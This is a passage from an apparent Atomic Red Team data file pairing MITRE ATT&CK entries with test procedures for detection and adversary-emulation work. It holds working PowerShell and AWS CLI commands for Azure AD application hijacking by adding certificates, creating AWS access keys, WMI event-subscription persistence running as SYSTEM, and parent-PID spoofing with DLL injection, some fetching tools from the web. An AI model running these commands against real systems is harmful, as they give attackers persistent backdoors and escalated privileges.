compute os-login ssh-keys add. Retrieved October 1, 2020. url: https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add - source_name: Blue Cloud of Death Video description: 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.' url: https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815 - source_name: Blue Cloud of Death description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.' url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 - source_name: Microsoft SolarWinds Customer Guidance description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - source_name: Expel Behind the Scenes description: 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.' url: https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/ - source_name: Sysdig ScarletEel 2.0 description: 'SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.' url: https://sysdig.com/blog/scarleteel-2-0/ - source_name: Rhino Security Labs AWS Privilege Escalation description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022. url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098.001 atomic_tests: - name: Azure AD Application Hijacking - Service Principal auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406 description: | Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA. supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd service_principal_name: description: Name of the targeted service principal type: string default: SuperSP dependency_executor_name: powershell dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential > $null $sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1 if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit } # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long $credNotAfter = (Get-Date).AddDays(1) $certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry $cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData()) Write-Host "Generated certificate ""$($cert.Thumbprint)""" New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter Start-Sleep -s 30 $tenant = Get-AzureADTenantDetail $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)" Write-Host "End of Hijacking" cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\" | Select-Object -First 1\n$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId\nforeach ($cred in $credz) {\n if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from SP\"\n Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n" name: powershell elevation_required: false - name: Azure AD Application Hijacking - App Registration auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a description: | Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA. supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd application_name: description: Name of the targeted application type: string default: SuperApp dependency_executor_name: powershell dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential > $null $app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1 if ($app -eq $null) { Write-Warning "Application not found"; exit } # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long $credNotAfter = (Get-Date).AddDays(1) $certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry $cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData()) Write-Host "Generated certificate ""$($cert.Thumbprint)""" New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter Start-Sleep -s 30 $tenant = Get-AzureADTenantDetail $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)" Write-Host "End of Hijacking" cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$app = Get-AzureADApplication -SearchString \"#{application_name}\" | Select-Object -First 1\n$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId\nforeach ($cred in $credz) {\n if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from application\"\n Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n" name: powershell elevation_required: false - name: AWS - Create Access Key and Secret Key auto_generated_guid: 8822c3b0-d9f9-4daf-a043-491160a31122 description: 'Adversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised ' supported_platforms: - iaas:aws input_arguments: username: description: Create new AWS access and secret keys for the user type: string default: atomicredteam dependencies: - description: 'Check if the user exists. ' prereq_command: 'aws iam list-users | grep #{username} ' get_prereq_command: 'echo Please run atomic test T1136.003, before running this atomic ' executor: command: | aws iam create-access-key --user-name #{username} > "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" cd "$PathToAtomicsFolder/T1098.001/bin/" ./aws_secret.sh cleanup_command: | access_key=`cat "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" | jq -r '.AccessKey.AccessKeyId'` aws iam delete-access-key --access-key-id $access_key --user-name #{username} rm "$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds" name: sh T1134.003: technique: modified: '2024-01-10T17:55:46.905Z' name: Make and Impersonate Token description: |- Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread. This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Jonny Johnson x_mitre_deprecated: false x_mitre_detection: |- If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. Analysts can also monitor for use of Windows APIs such as LogonUser and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' x_mitre_defense_bypassed: - Windows User Account Control - System access controls - File system access controls x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819 created: '2020-02-18T18:03:37.481Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134/003 external_id: T1134.003 - source_name: Microsoft Command-line Logging description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - source_name: LogonUserW function description: Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024. url: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1546.003: technique: modified: '2024-04-13T14:08:20.882Z' name: 'Event Triggered Execution: Windows Management Instrumentation Event Subscription' description: |- Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015) Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using `mofcomp.exe` –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018) WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Brent Murphy, Elastic - David French, Elastic - Viren Chaudhari, Qualys x_mitre_deprecated: false x_mitre_detection: |- Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1) Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.4' x_mitre_data_sources: - 'File: File Creation' - 'Process: Process Creation' - 'Command: Command Execution' - 'WMI: WMI Creation' x_mitre_permissions_required: - Administrator - SYSTEM type: attack-pattern id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58 created: '2020-01-24T14:07:56.276Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/003 external_id: T1546.003 - source_name: FireEye WMI 2015 description: Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf - source_name: Dell WMI Persistence description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. url: https://www.secureworks.com/blog/wmi-persistence - source_name: FireEye WMI SANS 2015 description: Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf - source_name: Medium Detecting WMI Persistence description: French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 - source_name: Elastic - Hunting for Persistence Part 1 description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.' url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 - source_name: Mandiant M-Trends 2015 description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.' url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf - source_name: Microsoft Register-WmiEvent description: Microsoft. (n.d.). Retrieved January 24, 2020. url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: Microsoft MOF May 2018 description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020. url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof- object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.003 atomic_tests: - name: Persistence via WMI Event Subscription - CommandLineEventConsumer auto_generated_guid: 3c64f177-28e2-49eb-a799-d767b24dd1e0 description: | Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM. Code references https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545 supported_platforms: - windows executor: command: | $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}; $Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'; CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";} $Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs $FilterToConsumerArgs = @{ Filter = [Ref] $Filter; Consumer = [Ref] $Consumer; } $FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs cleanup_command: | $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject name: powershell elevation_required: true - name: Persistence via WMI Event Subscription - ActiveScriptEventConsumer auto_generated_guid: fecd0dfd-fb55-45fa-a10b-6250272d0832 description: | Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM. Code references https://gist.github.com/mgreen27/ef726db0baac5623dc7f76bfa0fc494c supported_platforms: - windows executor: command: | $FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"}; $Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs $ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'; ScriptingEngine='VBScript'; ScriptText=' Set objws = CreateObject("Wscript.Shell") objws.Run "notepad.exe", 0, True '} $Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs $FilterToConsumerArgs = @{ Filter = $Filter; Consumer = $Consumer; } $FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs cleanup_command: | $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject name: powershell elevation_required: true - name: Windows MOFComp.exe Load MOF File auto_generated_guid: 29786d7e-8916-4de6-9c55-be7b093b2706 description: "The following Atomic will utilize MOFComp.exe to load a local MOF file.\nThe Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. \nTo query for the class: gwmi __eventfilter -namespace root\\subscription\nA successful execution will add the class to WMI root namespace.\nReference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.\n" supported_platforms: - windows input_arguments: mofcomp_path: description: Location of mofcomp.exe type: string default: c:\windows\system32\wbem\mofcomp.exe mof_file: description: Local location MOF file type: string default: PathToAtomicsFolder\T1546.003\src\T1546.003.mof dependency_executor_name: powershell dependencies: - description: 'MofComp.exe must exist on disk at specified location (#{mofcomp_path}) ' prereq_command: 'if (Test-Path "#{mofcomp_path}") { exit 0} else { exit 1} ' get_prereq_command: 'Validate MOFComp.exe is on disk somewhere and update input argument. ' - description: 'MofComp.exe must exist on disk at specified location (#{mof_file}) ' prereq_command: 'if (Test-Path "#{mof_file}") { exit 0} else { exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{mof_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof" -OutFile "#{mof_file}" executor: command: '#{mofcomp_path} "#{mof_file}" ' cleanup_command: | $EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam_consumer'" $EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam_filter'" $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue $FilterConsumerBindingToCleanup | Remove-WmiObject $EventConsumerToCleanup | Remove-WmiObject $EventFilterToCleanup | Remove-WmiObject name: powershell T1134.004: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Wayne Silva, F-Secure Countercept object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a created: '2020-02-18T18:22:41.448Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1134.004 url: https://attack.mitre.org/techniques/T1134/004 - source_name: XPNSec PPID Nov 2017 url: https://blog.xpnsec.com/becoming-system/ description: Chester, A. (2017, November 20). Alternative methods of becoming SYSTEM. Retrieved June 4, 2019. - source_name: CounterCept PPID Spoofing Dec 2018 url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/ description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved June 3, 2019. - source_name: Microsoft UAC Nov 2018 url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works description: Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019. - source_name: Microsoft Process Creation Flags May 2018 url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019. - source_name: Secuirtyinbits Ataware3 May 2019 url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3 description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019. - source_name: DidierStevens SelectMyParent Nov 2009 url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/ description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.' - source_name: CTD PPID Spoofing Macro Mar 2019 url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/ description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019. x_mitre_deprecated: false revoked: false description: |- Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018) Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018) Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Access Token Manipulation: Parent PID Spoofing' x_mitre_detection: |- Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018) Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Process: Process Creation' - 'Process: OS API Execution' - 'Process: Process Metadata' x_mitre_permissions_required: - User - Administrator x_mitre_defense_bypassed: - Heuristic Detection - Host Forensic Analysis x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1134.004 atomic_tests: - name: Parent PID Spoofing using PowerShell auto_generated_guid: '069258f4-2162-46e9-9a25-c9c6c56150d2' description: | This test uses PowerShell to replicates how Cobalt Strike does ppid spoofing and masquerade a spawned process. Upon execution, "Process C:\Program Files\Internet Explorer\iexplore.exe is spawned with pid ####" will be displayed and calc.exe will be launched. Credit to In Ming Loh (https://github.com/countercept/ppid-spoofing/blob/master/PPID-Spoof.ps1) supported_platforms: - windows input_arguments: parent_process_name: description: Name of the parent process type: string default: explorer spawnto_process_path: description: Path of the process to spawn type: path default: C:\Program Files\Internet Explorer\iexplore.exe dll_process_name: description: Name of the created process from the injected dll type: string default: calculator dll_path: description: Path of the dll to inject type: path default: PathToAtomicsFolder\T1134.004\bin\calc.dll spawnto_process_name: description: Name of the process to spawn type: string default: iexplore dependency_executor_name: powershell dependencies: - description: 'DLL to inject must exist on disk at specified location (#{dll_path}) ' prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1134.004/bin/calc.dll" -OutFile "#{dll_path}" - description: 'PPID.ps1 must exist on disk at $PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1 ' prereq_command: 'if (Test-Path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1134.004/src/PPID-Spoof.ps1" -OutFile "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1" executor: command: | . "$PathToAtomicsFolder\T1134.004\src\PPID-Spoof.ps1" $ppid=Get-Process #{parent_process_name} | select -expand id PPID-Spoof -ppid $ppid -spawnto "#{spawnto_process_path}" -dllpath "#{dll_path}" cleanup_command: | Stop-Process -Name "#{dll_process_name}" -ErrorAction Ignore 